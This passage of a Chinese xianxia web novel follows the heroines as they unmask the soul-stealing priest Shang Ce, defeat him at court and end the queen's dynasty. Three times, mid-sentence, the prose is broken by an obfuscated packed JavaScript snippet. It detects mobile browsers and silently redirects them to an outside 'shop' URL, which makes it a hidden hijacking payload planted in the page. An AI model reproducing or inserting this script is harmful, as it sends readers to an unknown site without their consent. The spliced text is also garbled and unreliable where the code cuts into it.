因为想着今天准备做的事情，她一晚上都睡得不太安稳。脑子里翻来覆去都是昨晚在幽溟渊看到的那一幕——女王倒下去的声音，商策餍足的笑，还有那些密密麻麻的眼睛和耳朵。 她睁开眼，下意识往身边摸了一把，愣了愣。 空的。凉的。对方已经走了。 “寒苍？” 没人应。 褚秋水坐起来，揉了揉眼睛。屋里安安静静的，她的那柄大剑还靠在墙边，卫寒苍却不见了踪影。 她愣了几秒，然后慢慢躺回去，盯着帐顶发了会儿呆。 走了啊。 说不上失望，也说不上难过——毕竟昨晚她把话说得那么明白，人家想走也正常。 可心里就是有点空落落的，像是习惯了身边有人叽叽喳喳，忽然安静下来，反而不适应。 她想起卫寒苍每天对着镜子敷面的样子，想起她钻进被窝说“床暖好了”的理直气壮，想起她昨晚攥着自己衣角的那只手。 走了也好，免得被接下来的事波及了。 褚秋水躺了三秒，然后一骨碌爬起来。 “行吧。”她拍拍脸，“我还有任务要完成。” 她穿好衣服，把大剑往背上一挂，推门出去。清晨的风吹过来，带着点凉意，吹得廊下的灯笼轻轻晃悠。 褚秋水深吸一口气，大步往宫外走去。她攥紧了腰间的玉牌——那是华兰泽给的，能调动城北大营的兵。 走着走着，她忽然停下脚步。 不对。 卫寒苍虽然平时没个正形，但答应过的事从不含糊。昨晚她明明说“我陪你”，以她的性子，就算要走，也该当面说一声才对。 褚秋水站在原地想了想，没想出个所以然，索性不想了。 管她呢，走了也好，省得跟着自己涉险。 她攥紧腰间的玉牌，大步往城北大营的方向走去。 与此同时，勤政殿。 朝会已经开始。 鲛油灯把大殿照得亮如白昼，群臣分列两侧，鸦雀无声。华兰泽站在队列之中，微微低着头，余光却一直盯着龙椅上的那个人。 “女王”坐在那里，神情和往常没什么两样——威严，端庄，甚至带着点疲惫。她的手指搭在龙椅扶手上，指尖轻轻敲击着，发出细微的、有节奏的声响。 若不是亲眼所见，华兰泽根本不会相信，这具身体里住着的，是一个千年老怪物。 “今日，朕有一事要宣布。”商策开口，声音是女王的，语气也是女王的，带着那种居高临下的从容，“盐铁之策，需再加紧。从下月起，每户每月定额上调三成。同时，赋税加一成，用于……用于国运祭祀。” 话音落地，群臣哗然。 “陛下！”一个老臣当即出列，须发皆白，声音都在发抖，“盐铁之策已经让民间怨声载道，再加三成，百姓如何承受得起？” “是啊陛下，”另一个臣子紧跟着站出来，额头上的汗珠子顺着脸颊往下淌，“赋税加一成，这是要逼死人啊！” “臣附议！请陛下三思！” “三思啊陛下！” 商策坐在龙椅上，看着下面这群七嘴八舌的大臣，嘴角微微弯起一个弧度。那弧度很浅，浅到几乎看不出来，但华兰泽看见了。 “诸位爱卿，”他的声音不紧不慢，像是在哄一群不懂事的孩子，“这是祭司占卜的结果。国运所需，百姓自当为国分忧。怎么，你们是想违抗天意吗？” “天意”两个字一出口，群臣的议论声顿时小了一半。 祭司占卜，苏眦立国之本。三百年了，哪一桩哪一件不是照着占卜来的？谁敢违抗？可那些百姓……有人低下头去，有人面露不忍，但没有人再开口。 就在这沉默中，一个清亮的声音响起。 “母皇，儿臣有话要说。” 所有人的目光齐刷刷看向华兰泽。 商策的眼睛微微眯了一下，那眯眼的动作极快，像是一条蛇吐了吐信子。 “兰泽？”他的语气温和，甚至带着一点慈爱，“有什么话，说吧。” 华兰泽抬起头，直视着龙椅上那个“人”。 “母皇方才说，盐铁加征是祭司占卜的结果，是国运所需。儿臣想问——这个结果，是占卜出来的，还是某些人自己想出来的？” 商策的笑容顿了一瞬。 “你这是什么意思？” “儿臣的意思是，”华兰泽往前站了一步，声音清亮得整个大殿都能听见，“母皇可曾亲眼去看过那些百姓？可曾亲眼看过他们过的是什么日子？” 她的声音越来越高，带着一种压抑了许久的愤怒。 “儿臣去看了。儿臣亲眼看见，有人三年没吃过盐，有人用陶罐煮饭，有人饿死在路边，有村子变成废墟。这就是母皇说的国运所需？这就是母皇说的为国分忧？” 群臣面面相觑。有人低下头去，有人面露不忍，还有人偷偷看着龙椅上“女王”的脸色。 商策的脸色沉了下来。 “华兰泽。”他的声音也变了，不再是之前的温和，而是带着一种冷意，“你这是在质疑朕？” “儿臣不敢质疑母皇。”华兰泽看着他，一字一句地说，声音在空旷的大殿里回荡，“但儿臣知道，真正的母皇，不会说这种话。” 商策的眼神猛然一厉。 “放肆！”他一拍龙椅扶手，那声音在寂静的大殿里炸开，像一声惊雷，“来人！把这个不敬之人给我拿下！” 殿外的侍卫闻声而动，甲胄碰撞声急促地响起，刚要冲进来—— “谁敢！” 一声暴喝从殿外传来。 那声音不大，却像一把刀，劈开了殿内凝滞的空气。 紧接着，整齐的脚步声响起，密密麻麻，震得地面都在微微颤抖。不是一两个人的脚步，是成百上千人的脚步，踏在青石板上，像闷雷滚过天际。 群臣惊愕回头。 只见大殿门口，褚秋水一身劲装，背着她那柄比人还高的大剑，大步走了进来。晨光从她身后照进来，给她的轮廓镀上一层金边。她走得不快，但每一步都稳得像钉在地上。 她身后，黑压压的士兵列阵而入，甲胄在日光下闪着冷冷的光。他们鱼贯而入，分列两侧，把整个勤政殿围了个水泄不通。 龙椅上的“女王”霍然起身，动作之大，差点把面前的御案掀翻。 “你——！你这是要造反吗！” 褚秋水走到殿中央，站定，抬头看着他。她的手搭在剑柄上，指节微微泛白，但声音很稳。 “首先，”她说，“带剑上殿是陛下特许，您难道忘了吗？” 商策的嘴张了张。 褚秋水没给他说话的机会。 “其次，”她的声音忽然沉下去，沉得像淬了冰，“商策，别装了。” 群臣再次哗然。商策？装什么？有人交头接耳，有人满脸茫然，还有人开始往后退。 褚秋水没理那些议论，只是盯着龙椅上那个“人”。她的目光像一把剑，直直地刺过去。 “你昨晚在幽溟渊做的事，我们都看见了。” 商策的脸色变了一瞬，随即恢复正常。那变化极快，快到大多数人都没察觉。 “一派胡言。”他的声音依旧是女王的，甚至还带上了一点被冤枉的委屈，“朕一直在寝宫休息，何曾去过幽溟渊？” “你还要做戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371612|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗。”华兰泽接过话，声音发颤，但一个字一个字咬得极清楚，“你替换了母皇的灵魂。” 她看着龙椅上那张熟悉的脸，眼眶泛红，但没有哭。 “母皇的身体里，住着两个魂魄。一个是她，一个是……你。” 商策沉默了一瞬。 大殿里安静得能听见鲛油灯芯燃烧的细微声响。 然后他笑了。 那笑容和女王完全不同——阴冷，诡异，带着说不清的嘲讽。像是一张戴了太久的面具终于被撕下来，露出底下那张不属于活人的脸。 “有意思。”他的声音也变了，变得幽深，变得悠远，变得……不像活人，“我以为还能再瞒几天，没想到你们直接说破了。” 他站起身，居高临下地看着殿中的所有人。那张女王的脸上，此刻是一种不属于她的表情——张狂，傲慢，像是一个高高在上的神祇在俯瞰蝼蚁。 “既然被识破了，那也没什么好装的。”他张开双臂，像是在宣示什么，声音在空旷的大殿里回荡，“我就是商策，也是苏眦历代祭司。侍奉了你们几百年，也该轮到你们侍奉我了。” 群臣听着这番惊天言论，全都惊得说不出话。有人瘫坐在地上，有人拼命往后退，有人哆嗦着嘴唇，一句完整的话都说不出来。那个最先站出来反对的老臣，脸色白得像纸，手扶着旁边的柱子才没有倒下。 华兰泽死死盯着他，眼泪在眼眶里打转，但始终没有落下来。 “你把母皇还给我。” 商策看着她，笑了。 “还？”他说，声音里带着一种猫捉老鼠的戏谑，“小丫头，你母皇就在这里。等我彻底融合了这具身体，你就能天天看见她了。只是到时候——” 他顿了顿，笑意加深。 “她会不会认识你，就不好说了。” 华兰泽的眼泪终于落下来。但她没有后退，一步都没有。 “秋水。”她说。 褚秋水拔出大剑。 剑鸣声在殿中响起，清越如龙吟。那柄比人还高的大剑在日光下泛着冷冷的乌金色，剑刃上的一线寒光像是能割破空气。 “拿下他。” 士兵们刚要动—— “哈哈哈哈——” 商策忽然大笑起来。那笑声在殿中回荡，刺耳又诡异，震得鲛油灯的火焰都在颤抖。 “拿下本座？”他说，“你们以为，本座会毫无准备吗？” 他抬起手，指向殿外。 “听。” 所有人都安静下来。 远处，传来一阵阵嘈杂的声音——脚步声，喊声，金属碰撞声，混在一起，由远及近，像是有什么东西正在逼近。那声音越来越大，越来越密，像潮水一样涌过来。 群臣的脸色变了。有人开始往角落里缩，有人吓得瘫坐在地上。 华兰泽的脸色也变了。 “你……” “都是我的信徒。”商策笑得猖狂，笑得肆无忌惮，“这些年，我在苏眦埋了多少暗桩，你们根本想象不到。本来是想等逼你就范的时候用的，没想到歪打正着，正好今天用上。” 他看着殿中那些惊慌失措的大臣，看着脸色发白的华兰泽，看着握紧大剑的褚秋水，眼里满是得意。那得意不是装出来的，是那种胜券在握的、志在必得的得意。 “小郡主，你以为你赢了吗？你以为带着这几个兵就能翻盘？” 他张开双臂，像是在拥抱什么。 “听！我的信徒来了！他们会把你们全部拿下！从今天起，苏眦就是我的——” 话音未落。 殿外忽然传来一阵骚动。 不是信徒的欢呼。 是……惨叫。 18. 去世 商策的笑容僵在脸上。 他猛地转头，看向殿门。 那些本该冲进来的信徒，此刻正像无头苍蝇一样四散奔逃。有人倒下，有人被绊倒，有人惊恐地喊着“有埋伏”。 混乱之中，一道身影翩然落在殿门口。 那人一身黑衣，发丝微微凌乱，手里还拎着一个挣扎的信徒。她往地上一丢，拍了拍手上的灰，抬起头，露出一个懒洋洋的笑。 “哟。”她说，“挺热闹啊。” 褚秋水愣住了。 卫寒苍？ “你……你没走？” 卫寒苍看了她一眼，那眼神有点复杂，像是想翻个白眼，又像是有点委屈。 “走什么走，”她嘟囔道，“我走了你一个人怎么打？” 然后她大步走进殿中，走到褚秋水身边，压低声音飞快地说：“昨晚感觉不对，提前去城门蹲着。果然，三更天就开始有人鬼鬼祟祟往城外摸，我没打草惊蛇，等他们集结得差不多了，直接关门打狗。” 她顿了顿，嘴角扬起一个得意的弧度。 “现在城外绑了三百多个，全在哭爹喊娘。” 商策的脸色彻底变了。 “不可能！”他的声音都劈了，“我的信徒遍布全国，怎么会——” “遍布全国？”卫寒苍歪了歪头，一脸无辜，“那你知不知道，你那些信徒进城的时候，都在城门口登记过？一个名字一个名字写下来的那种。多谢配合啊，省了我们不少功夫。” 商策的嘴张了又合，合了又张，一时竟说不出话来。 华兰泽在旁边看得目瞪口呆，半晌才憋出一句：“你……你什么时候安排的这些？” “昨晚啊。”卫寒苍说得云淡风轻，“某人跟郡主你谈理想谈抱负的时候，我出去溜达了一圈。” 她说着，瞥了褚秋水一眼。 褚秋水看着她，心里忽然有点发酸。 原来她昨晚说的“收拾东西”，不是要跑，是出去踩点了。 “对不起，是我……”她开口。 “别说话。”卫寒苍别过脸去，“现在不想听你说话。” 褚秋水乖乖闭嘴。 商策站在龙椅前，看着殿中这三人，脸色青了又白，白了又青。 最后，他忽然笑了一声。 那笑声阴恻恻的，听得人后背发凉。 “好。”他说，“好得很。我活了几百年，还是头一回被人算计成这样。” 他缓缓走下台阶，目光落在褚秋水身上。 “但是，”他说，“你们以为，这就赢了？” 褚秋水的眉头微微皱起。 商策的身形忽然变得模糊起来，像是有什么东西从他的身体里爬出来，他的面容扭曲起来。 “我本就是一个孤魂，”他的声音变得幽深，“你们以为，靠人多就能抓住本座？” 他猛地抬手，一股阴冷的气息从掌心涌出，直朝褚秋水袭来！ “小心！”卫寒苍想拉开她。 但褚秋水已经动了。 大剑出鞘，横在身前，那阴冷的气息撞在剑身上，发出刺耳的尖啸。 商策后退一步，眯起眼睛。 “你有修为？” 褚秋水没回答，只是握紧剑柄，大步上前。 大剑横扫，带起呼呼风声。 商策身形一晃，竟鬼魅般从剑下闪过，但他的身法明显比昨晚在幽溟渊时慢了许多。换了女王的躯壳，他还没完全适应。 褚秋水抓住这个破绽，剑锋一转，直取他下盘。 商策狼狈躲过，衣袍被削下一角。 褚秋水足尖一踢，大剑乘势而转，剑气中夹杂着凛冽寒意，直指商策而去。 大剑势沉，商策不敢正面接住，只能左躲右闪，不断转换位置。 卫寒苍看着啧了两声，她当时就是这样被褚秋水逼到角落认输的。论用剑，褚秋水绝对是同辈人中的佼佼者。 商策被逼到退无可退，被褚秋水用剑将衣角牢牢钉在地面。 “还有什么招？”她问。 商策沉默了一瞬。 然后他笑了。 那笑容疲惫又诡异，像是认命，又像是还在算计什么。 “好了。”他说，“我输了。” 一场闹剧，终于落幕。 华兰泽站在殿中央，看着那些惊魂未定的群臣，深吸一口气。 “诸位大人，今日之事，容后再议。”她的声音还有些发颤，但已经稳了下来，“请先回府歇息，明日照常上朝。” 群臣面面相觑，有人想说什么，却被旁边的人拉住。 “是……是。” “臣等告退。” 人群鱼贯而出，勤政殿渐渐空了下来。 只剩下她们三个，和被五花大绑丢在角落的商策。 华兰泽走到他面前，蹲下，看着那张和母皇一模一样的脸。 “怎么把母皇换回来？”她问。 商策抬起头，看着她。 那目光里，有一种说不清的东西。 “换回来？”他轻声说，“小郡主，你以为魂魄寄生是什么？是两个人睡一张床，想分开就分开？” 华兰泽的脸色白了白。 商策继续说：“我在她身体里扎了三十年。三十年，根已经扎到魂魄深处了。分不开的。” “不可能。”华兰泽的声音发颤，“一定有办法。” 商策看着她，忽然笑了。 那笑容里，带着一种诡异的悲悯。 “你想见你母皇？”他问，“那本座成全你。” 话音刚落，他的眼神猛然一变！ 一股强大的力量从他身上爆发出来，直接把旁边的士兵震飞出去！ 褚秋水反应快，一把拉过华兰泽护在身后，大剑横在身前。 商策的身体剧烈颤抖着，像是在承受什么巨大的痛苦。他的眼睛变成了诡异的银白色，嘴唇翕动，念出一串晦涩的咒语。 “以我之魂，祭汝之愿——” 卫寒苍脸色一变：“他要献祭！” 褚秋水想上前阻止，但已经来不及了。 一股无形的力量猛然扩散开来，把整个勤政殿笼罩其中。 褚秋水的眼前忽然一黑。 等她再睁开眼时，发现自己站在一座巨大的藏书阁里，先前发生什么，已经记不清了。 四周全是书架，上面摆满了剑谱。那些剑谱的名字，每一个都是她做梦都想得到的——《惊鸿剑典》《破云十三式》《天外飞仙》…… 她的心跳漏了一拍，这里，这里简直是天堂…… 然后，她看见了最里面那个书架。 上面摆着一本古朴的册子，封面上写着四个字—— 《无上剑道》。 褚秋水的呼吸都停了一瞬。 这是传说中早已失传的剑谱，是她师傅的师傅的师傅都没见过的神物。只要拿到它，她就能成为真正的天下第一剑。 她不由自主地往前走了一步。 那本剑谱就在那里，等着她。 只要走过去，就能拿到。 诶，怎么剑谱前还有几根柱子。 就在她思考的时候，一个声音忽然在心底响起—— 走过去，砍倒那几根柱子，剑谱就是你的了。 说完，那几根柱子移动了起来，让她的目光再也移不开。 又是一道声音，有些像女王的声音—— 别，别去…… 但，那本《无上剑道》就在柱子后面，散发着致命的吸引力。 她的眼睛不受控制地往那边瞟，脚也不受控制地往前挪。 只要，只要能够到达那个地方。 就在这时—— 手腕上忽然一松。 她低头一看，是那根红绳。 是那个妇人送给她的红绳。那个在村子里，被她救过的妇人，千恩万谢地给她系上的。 它断了。 褚秋水愣了一瞬。 然后，她猛然清醒过来。 眼前的藏书阁开始扭曲、崩塌。那些剑谱，那些书架，那本《无上剑道》，全部化作虚无。 她看见真正的世界—— 勤政殿里，华兰泽站在原地，泪流满面，嘴里喃喃着“母皇”。卫寒苍站在不远处，神情恍惚，眼角有泪光一闪而过。 而商策，正蜷缩在地上，身体以肉眼可见的速度衰老、干瘪。 她猛地醒过来，刚刚她看见的柱子，恐怕就是华兰泽和卫寒苍幻化而成的，商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371613|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 策此举，是想让他们自相残杀。 褚秋水深吸一口气，大步上前，一把拍醒明显陷得更深的华兰泽。 “郡主！醒醒！” 华兰泽浑身一震，眼神渐渐清明。 “秋……秋水？”她茫然地看着四周，“我……我刚才看见母皇了，她抱着我，说……” 她说不下去了。 褚秋水没时间安慰她，转身又去拍卫寒苍。 卫寒苍的反应比华兰泽快得多。她浑身一颤，猛地后退一步，看向褚秋水的眼神里带着一点慌乱。 “你……你醒了？” “你看见什么了？”褚秋水问。 卫寒苍别过脸去：“没什么。” “没什么你哭什么？” “没哭。”卫寒苍抬手擦了擦眼角，“风大。” 殿内门窗紧闭，哪来的风。 褚秋水没再追问，因为商策那边已经不行了。 三人围过去，看着地上那个干瘪的老人。 他彻底失去了女王的模样，头发花白稀疏，皮肤皱得像树皮，整个人缩成小小的一团。只有那双眼睛，还残留着一点光芒。 “明明……”他的声音沙哑得像砂纸刮过，“明明……就差一步了……” 华兰泽蹲下来，看着他。 “你把母皇还给我。” 商策的嘴唇翕动着，还想向着王座的方向爬去。 “她回不来了……”他说，“刚刚……如果不是她……” 华兰泽的眼泪夺眶而出。 商策的眼睛渐渐失去了光彩，最后一眼，他怨恨地看着他梦寐以求的王座。 “就差一点……” 说完，他彻底没了气息。 华兰泽跪在地上，看着这个怪物死去，心里无比担心，担心母皇的安危。 就在这时，旁边传来一声虚弱的呼唤。 “兰泽……” 华兰泽浑身一震，猛地抬头。 地上，刚刚死去的女王不知何时睁开了眼睛。 她的脸色惨白如纸，嘴唇毫无血色，整个人看起来像是随时会消散的魂魄。但她的眼睛，是华兰泽熟悉的那双眼睛。 “母皇！” 华兰泽扑过去，跪在她面前，抓住她的手。 那手冰凉刺骨。 “母皇，你醒了，你醒了就好，我让人去找太医——” “别去了。”女王摇摇头，声音轻得像一阵风，“来不及了。” 华兰泽的眼泪止不住地往下流。 “不，不会的，你撑住，我——” “兰泽。”女王看着她，目光里满是温柔，“听我说。” 华兰泽咬着嘴唇，拼命点头。 女王的手轻轻抚上她的脸。 “这些年……我做了很多错事。”她说，“收盐铁，压百姓，听信那个东西的话……我知道错了，可是……来不及改了。” “母皇没错，”华兰泽哭着说，“母皇是为了我，我知道，我都知道了。” 女王愣了一下，然后笑了。 那笑容疲惫又欣慰。 “你都知道了啊……”她说，“那就好。” 她的手往下滑，握住华兰泽的手。 “兰泽，以后……苏眦就交给你了。” 华兰泽拼命摇头。 “我做不好，我什么都不懂，我——” “你会做好的。”女王打断她，“你比我强。你年轻，心软，敢去看那些百姓过得怎么样。我当年……我当年就不敢。” 她顿了顿，目光变得悠远。 “我刚登基那会儿，也有人跟我说，百姓是草，是土，是根基。我信了。可是后来我生了病，躺在床上的时候，忽然想，如果是我的兰泽病了，躺在那里，我希不希望有人给她一碗粥，一块盐？” 她看着华兰泽，目光里满是爱意。 “我对不起那些人。你替我去看看他们，替我跟他们说一声……对不起。” 华兰泽泪流满面，只能拼命点头。 女王的手慢慢松开。 “兰泽……” “嗯？” “好好活着。” 那双眼睛，终于缓缓闭上。 华兰泽抱着她，哭了很久很久。 19. 结束与新生 褚秋水和卫寒苍站在殿外，把最后的时间留给她们。 太阳已经升高了，照在王宫的琉璃瓦上，闪着耀眼的光。 褚秋水靠在柱子上，抬头看着天。 卫寒苍站在她旁边，难得安静。 过了很久，褚秋水忽然开口。 “你刚才看见什么了？” 卫寒苍身体微微一僵。 “说了没什么。” “骗人。”褚秋水说，“你眼角现在还是红的。” 卫寒苍下意识抬手去摸，然后意识到被耍了，狠狠瞪她一眼。 “有意思吗？” “有意思。”褚秋水笑了，“你平时骗我那么多次，我骗你一次怎么了？” 卫寒苍被她噎得没话说。 沉默了一会儿，褚秋水的声音低下来。 “我是真的想知道。” 卫寒苍看着她。 阳光落在她脸上，她的眼神很认真，也很温柔。 卫寒苍别过脸去。 “看见一些以前的事。” “以前的事？” “嗯。”卫寒苍的声音淡淡的，“很久以前的事了。” 褚秋水等了一会儿，见她没有继续说的意思，便没有再问。 “行吧。”她说，“等你想说的时候再说。” 卫寒苍看了她一眼，嘴角微微弯了弯。 两人并肩站在廊下，看着远处的天空。 接下来的几天，整个王宫想上满了发条的钟，滴滴答答走着没个停歇。 华兰泽也像一只陀螺，从早转到晚。 处理商策残党、安抚朝臣、发放告示解释女王死讯、安排丧仪、清点国库、核对账目……每一件事都要她点头，每一件事都要她过目。 褚秋水和卫寒苍帮不上什么大忙，只能在她累得撑不住的时候，递杯茶，拽她去吃饭。或者在她对着账目发呆的时候，安静地坐在旁边陪着。 三天后，华兰泽终于派人来请她们过去。 不是勤政殿，而是她自己的寝宫。 褚秋水推门进去的时候，华兰泽正坐在窗边的案几前，面前摊着一堆纸。 她穿着素白的衣服，头发只用一根木簪挽着，脸上还带着疲惫，但眼神清亮，比三天前沉稳了许多。 “秋水，寒苍，坐。”她指了指对面的位置。 两人落座。 华兰泽沉默了一瞬，然后开口。 “我今天叫你们来，是想跟你们说一件事。” 她顿了顿，像是在组织语言。 “这几天，我一直在想母皇临终前说的话。”她的声音很轻，“她说，她对不起那些人。她说，让我替她去看着他们。” 褚秋水安静地听着。 华兰泽抬起头，看着她们。 “我想好了。”她说，“我准备结束苏眦的王朝统治。” 褚秋水愣了一下。 卫寒苍也愣了一下。 “你说什么？” 华兰泽的目光很坚定。 “苏眦立国三百年，历代女王都说是为了百姓。 可纵观史书，历史发展终有其规律。一个王朝有辉煌，就有落幕。 这几十年来，虽说有母皇中兴国家，但终究是积重难返。种地的吃不饱，织布的穿不暖，养蚕的没见过绸缎。商策能在这里扎根三十年，就是因为这套制度给了他土壤。” 她指着面前那些纸。 “这几天我查了账目，查了律法，查了历任祭司占卜的记录。王权与信仰相互纠缠，催生出来的，只有残害百姓的怪物。” 她的声音高了一点，又压下去。 “我不会再让这些发生。” 褚秋水看着她，有看着那堆纸，忽然看明白了那个预言。 正如商策所言，预言从不出错。 女王为了防止预言成真，将征盐权和铸铁权牢牢分开。 征盐权此前空置，只待王室继承人诞生后就自动转接到她手上。 铸铁权则被王与祭司牢牢把控在手里。 现在女王去世，商策魂飞魄散，掌握盐和铁的权利便被华兰泽一人独掌。 她也正是真正终结苏眦王朝的人。 “你想怎么做？”她问。 华兰泽深吸一口气。 “第一步，废除盐税和铁税。盐铁本来就是百姓的东西，不该被王室垄断。那些收上来的铁器，全部重新熔铸，做成农具、炊具、刀具，发还给百姓。” “第二步，还政于民。”她说，“苏眦以后没有女王了。各个村镇自己选人出来，组成议事会，商量怎么过日子。大事一起定，小事自己管。官府只负责协调，不再发号施令。” 卫寒苍挑眉：“那些当官的能同意？” “不同意也得同意。”华兰泽说，“现在军队在我手里，国库在我手里，他们有意见也得憋着。” 褚秋水笑了。 华兰泽继续说下去。 “第三步，推广修仙之法。” 褚秋水一愣。 华兰泽看着她，目光认真。 “秋水，你之前跟我说过，你修仙是为了让所有人都有选择的权利。我想了很久，觉得你说得对。” 她顿了顿。 “苏眦这些年为什么乱？因为百姓太弱了。他们没有力量，没有反抗的能力，所以只能任人宰割。如果他们也像你一样，能修炼，能自保，能靠自己的本事活下去，那还需要什么女王？什么祭司？” 她看着褚秋水，眼睛里带着光。 “你教我们修仙之术吧。” 褚秋水沉默了一会儿。 然后她笑了。 “行。” 接下来的日子，三个人忙得脚不沾地。 华兰泽负责政务。她一项一项废除旧法令，一条一条颁布新规矩。 每天都有官员来哭诉，每天都有族老来反对。她不管，该怼怼，该压压，该打发打发。 半个月下来，那些原本哭天抢地的人，看见她就绕道走。 褚秋水负责编教材。她把师傅教的入门心法，结合自己这些年的修炼心得，用最简单的话写下来。 怎么感应灵气，怎么运转周天，怎么淬炼筋骨——每一项都掰开揉碎了讲，生怕人家看不懂。 卫寒苍负责……卫寒苍负责在旁边阴阳怪气。 “你这写的什么？”她拎起一张纸，念出声，“‘灵气如泉，涌动于天地之间’——人家知道泉是什么吗？知道涌动是什么意思吗？” 褚秋水挠头：“那怎么写？” “写什么灵气，直接写怎么感受。”卫寒苍抢过笔，刷刷写了几行，“闭眼，深呼吸，感受身体里有没有热流。有就顺着它走，没有就再来一次。多简单。” 褚秋水看着那几行字，陷入沉思。 “……你懂修炼？” 卫寒苍顿了顿，别过脸去：“以前……见过。” 褚秋水想问“在哪见过”，但看她那副不想说的样子，又把话咽了回去。 日子就这么一天天过去。 三个月后，第一所学堂在城外村落开张。 没有隆重的仪式，没有剪彩的绸带，只有一群穿着补丁衣服的村民，站在空地上，等着听那个背大剑的姑娘讲课。 褚秋水站在最前面，看着那些求知若渴的眼睛。 她忽然有点紧张。 卫寒苍站在旁边，戳了戳她：“去啊。” 褚秋水深吸一口气，走上前。 “那个……”她开口，“我叫褚秋水。今天教你们怎么修炼。” 底下安安静静的，所有人都看着她。 她挠了挠头，忽然不知道该怎么往下说。 卫寒苍在后面忍不住笑出声。 褚秋水回头瞪她一眼，又转回去。 “那就……开始吧。” 那天晚上，褚秋水累得直接瘫在椅子上。 “怎么样？”卫寒苍端着茶过来，“当先生的感觉？” 褚秋水接过茶，喝了一大口。 “比打架累多了。”她说，“打架就一个人，教课几十个人，问的问题五花八门，有的我都答不上来。” 卫寒苍笑了：“那你明天还去吗？” “去。”褚秋水放下茶杯，“答应了就得做到。” 卫寒苍看着她，目光里有一点光。 两人又忙了一会儿，把明天的教案再过一遍。 不知不觉，夜深了。 褚秋水趴在案几上，眼皮越来越重。 “寒苍……”她迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371614|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊地喊了一声。 没人应。 她侧头一看，卫寒苍也趴在旁边，睡着了。 烛火跳动着，在她脸上投下忽明忽暗的光。 褚秋水看了她一会儿，忽然想，这人睡着的时候，倒是挺乖的。 然后她也闭上眼睛。 不知过了多久。 一阵冷风忽然吹过来，激得褚秋水打了个寒颤。 她猛地睁开眼。 眼前不是华兰泽的寝宫。 是那个破庙。 她们回来了。 那尊残破的佛像，歪倒在角落，身上爬满了蛛网。屋顶的瓦片缺了好几块，月光从缺口漏下来，在地上投下几道细长的光斑。 褚秋水愣了好几秒。 旁边，卫寒苍也醒了。她揉着眼睛坐起来，四处看了看，表情也愣住了。 “我们……回来了？” 褚秋水站起来，走到门口往外看。 月光下，林荫小路安静地延伸向远方。没有王宫，没有城池，没有那些她待了几个月的地方。 她们真的回来了。 两人站在破庙里，沉默了很久。 然后卫寒苍忽然开口。 “秋水，你看。” 她指着那尊佛像的底座。 褚秋水走过去，蹲下来看。 底座上，刻着一行行字。 字迹有些歪扭，像是用石头一点点凿出来的。但一笔一划都很认真，看得出来刻字的人用了很多心思。 “致褚姑娘、卫公子——” 褚秋水轻声念出来。 “托二位的福，我们现在过得很好。地里的收成比往年都好。村里的学堂开起来了，娃娃们每天去念书，回来就跟我显摆今天学了什么。” “兰泽郡主——哦不对，现在不能叫郡主了。她让我们叫她兰泽。她三天两头往村里跑，说是视察，其实就是来蹭饭。我们都笑她，堂堂前郡主，怎么比我们还穷。她就翻个白眼说，钱都拿去办学堂了，没钱吃饭。然后继续蹭。” “王城那边变化也大。以前进都不敢进的地方，现在随便进。前几天我还去逛了一圈，卖糖人的摊子还在，那老头还记得我，非要给我多塞一个。” “这个雕像是我们一起做的，就用的泥巴。土是最结实的东西，也希望它能把我们的祝福都带给你。” “我们一切都好。” “你们也要好好的。” 落款是一串名字，密密麻麻的，全是那些村民。 褚秋水看着那些字，眼眶有点热。 卫寒苍在旁边蹲下来，看了很久。 然后她从怀里掏出一张纸，和一小块炭。 “你干嘛？”褚秋水问。 “拓印下来。”卫寒苍低着头，一笔一划地描着，“留着。” 褚秋水看着她，嘴角弯了弯。 “好。” 两人蹲在佛像前，一个拓，一个看，安安静静地，把那串名字一个一个描下来。 月光从屋顶漏进来，照在她们身上。 描完最后一个字，卫寒苍小心翼翼地把纸折好，收进怀里。 “走吧。”她站起来。 褚秋水点点头，也站起来。 两人走到门口，回头看了一眼那尊破旧的佛像。 月光下，佛像依旧歪倒在角落，身上落满灰尘。 “再见。”褚秋水轻声说。 然后她转身，往外走去。 卫寒苍跟在她身后。 两人一前一后，走出破庙，走进月光里。 身后，破庙安安静静的，只有风吹过屋檐的声音。 她们没有回头。 所以她们没有看见， 那尊佛像的底座，在她们转身的那一刻，笃然裂开一道细缝。 缝隙越来越大，越来越大。 然后，一个小小的东西从里面滚出来，落在月光下。 是一个香囊。 鹅黄色的底子，绣着几片竹叶。 针脚不算精致，但每一针都绣得很用心。 月光照在它上面，像是给它镀了一层淡淡的银边。 那是华兰泽一直没送出去的那个香囊。 不知道什么时候，被她悄悄藏在了这里。 20. 老师 